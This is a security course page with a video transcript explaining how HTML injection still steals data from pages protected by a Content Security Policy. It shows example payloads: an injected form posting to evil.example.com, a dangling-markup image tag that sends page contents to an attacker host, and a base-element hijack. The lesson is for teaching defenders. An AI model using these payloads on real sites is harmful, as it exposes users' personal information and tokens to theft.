Exploiting Web Pages That Have A CSP

1 example 0/2 challenges solved


Description

Learn what threats still exist even after implementing a Content Security Policy.

Example

Ready for the full course?

What's included?


Learn XSS attacks, exploits, fixes and data breach prevention.

Lifetime access of:

  • Expert-led training
  • Interactive examples
  • Live code challenges
  • Advanced attacks
  • Full exploit development
  • Fixes and prevention
  • Engineering best practices
YES! I'M READY TO MASTER XSS > One time payment for lifelong skills! Just $99/user* * WAY less than the price of an XSS bounty
Special thanks goes to Michal Zalewski (@lcamtuf) for his excellent research on post-CSP attacks.

video transcript

Hello, world. I'm Jesse from Chef Secure.

XSS attacks are largely defeated by Content Security Policy, but if proper escaping isn't used, then attackers can still do some serious damage.

So, once again, we're gonna look at things from an attacker's point of view, and see how evil we can be.

As a reminder, 'unsafe-inline' in your script-src opens you up to most XSS attacks, and so does having HTTP or HTTPS protocols or the wildcard, because they all match any website on the internet.

So having any of these in your script sources pretty much defeats pretty much defeats the purpose of your CSP protections for XSS.

'unsafe-inline'
http:
https:
*

Also, whitelisting generic CDN domains where attackers can upload their own scripts opens your up to XSS as well. So you need to be very specific as to what you allow in your script sources.

But in this recipe, we're going over HTML injection attacks, so there won't be any JavaScript involved.

Consider the form-action directive, which specifies where forms can submit their data. If this is missing or it's not locked down to your own, controlled domains, attackers can use forms to steal data.

Remember the challenge where you stole login information?

You can make an attack very similar, only this time you'll have to inject an entire form element with the action pointed to your server.

<form action=https://evil.example.com>
<!-- inputs -- >
</form>

And since there's no JavaScript involved, the user will have to click a submit button to send it to you.

How do you make this happen?

Just ask!

Make it seem like the user just needs to login to continue.

After your form, you can just hide the rest of the page by opening a new tag to eat up everything afterward and using CSS to make it invisible with display:none, visibility:hidden or opacity:0.

The key to this part is just to make sure the tag doesn't get closed further down the page. Or, more simply, you can just open an HTML comment with

<!--

and it'll comment out the rest of the page as long as it doesn't encounter another comment that closes it out.

I'll leave this as a challenge for you to solve.

The second attack is similar, only now you're hijacking a form that's already on the page.

If your injection point is somewhere above the original form, You can just inject your own form, again, pointing back to your own site, and just leave off the closing tag.

The browser will then find the matching closing tag for the form underneath, allowing you to control where the data gets sent.

And this will be your second challenge.

Another thing, without the base-url directive set attackers can inject their own base element with an href attribute pointing to their own domain.

This will direct every relative URL used, to the attacker. In other words, URLs that start with a / instead of a scheme and host, get hijacked by the attacker.

And guess where relative URLs are commonly found.

Yep. Forms.

This will be your third challenge.

Let's talk about images now. You already know that images can't run JavaScript, even with a JavaScript URL. So if image sources aren't locked down in CSP, how dangerous can it be?

Take a look at this payload:

<img src='https://example.com?

What can it do?

When you're ready to find out, go to the example for this recipe below.

Oh, it's called Stealing with Images...

That's your first clue.

... more of a spoiler, really.

Now you can't use Chrome for this example, but Firefox works just fine.

In the example, you see a search form at the top, and, at the bottom, there's a support form that's filled out with personal information.

First off, try out the basic script injection with

<script>alert()</script>

Then click search.

Nothin' happened, so let's look in the console to see what's going on.

And the Content Security Policy has blocked the script from running.

In the inspector window, you can open the head of the document and see the meta tag containing the CSP has a default-src of 'self' a script-src of 'self' and a nonce, then, finally, a wildcard img-src.

So it looks locked down pretty well. Let's try that image payload from earlier.

If you have a server set up with HTTPS already, you can go ahead and change the host from the payload to try it out, but it's not really necessary, because we can switch over to the network tab after our injection and see the request that's made.

So in the search box, we'll open an img tag And I have a server running on port 3001, so I'll type

<img src='https://localhost:3001

But if you don't, you can leave it as example.com

Add a ? then click the search button.

<img src='https://localhost:3001?

Everything below disappeared.

Let's go to the network tab now to see what happened.

If you scroll to the very bottom, there's an image request that was made. And if you look at the request URL, you'll see that almost all the HTML from the webpage, including the personal information, was stolen and sent in the request.

So any secrets, like personal information or private tokens, can be stolen if an image is injected above that content, and its src attribute is set to the attacker's host and left open.

HEY! This is important!

The single quote was used, because attributes are normally double quoted. so it eats up everything that gets in its way, until it finds a matching single quote.

In this example, the matching single quote was in the texture's placeholder, that said, "I can't find..."

Without a matching single quote, however, the attack would fail, and the browser would just ignore the image.

Let's take a look at my server, really quickly, just to see how the stolen information was received.

So in my log file, you'll see there's a GET request containing all the information. And if we look at this parameters value it shows all the information in plaintext, including the name, the phone number and the address.

There are still other attacks that can be performed, even simple social engineering attacks that only have text asking a user to send private information to the attacker. But the point here is that your CSP should be locked down as TIGHLY as possible. And even then, it's essential to understand that Content Security Policy is NOT a replacement for coding securely with proper escaping.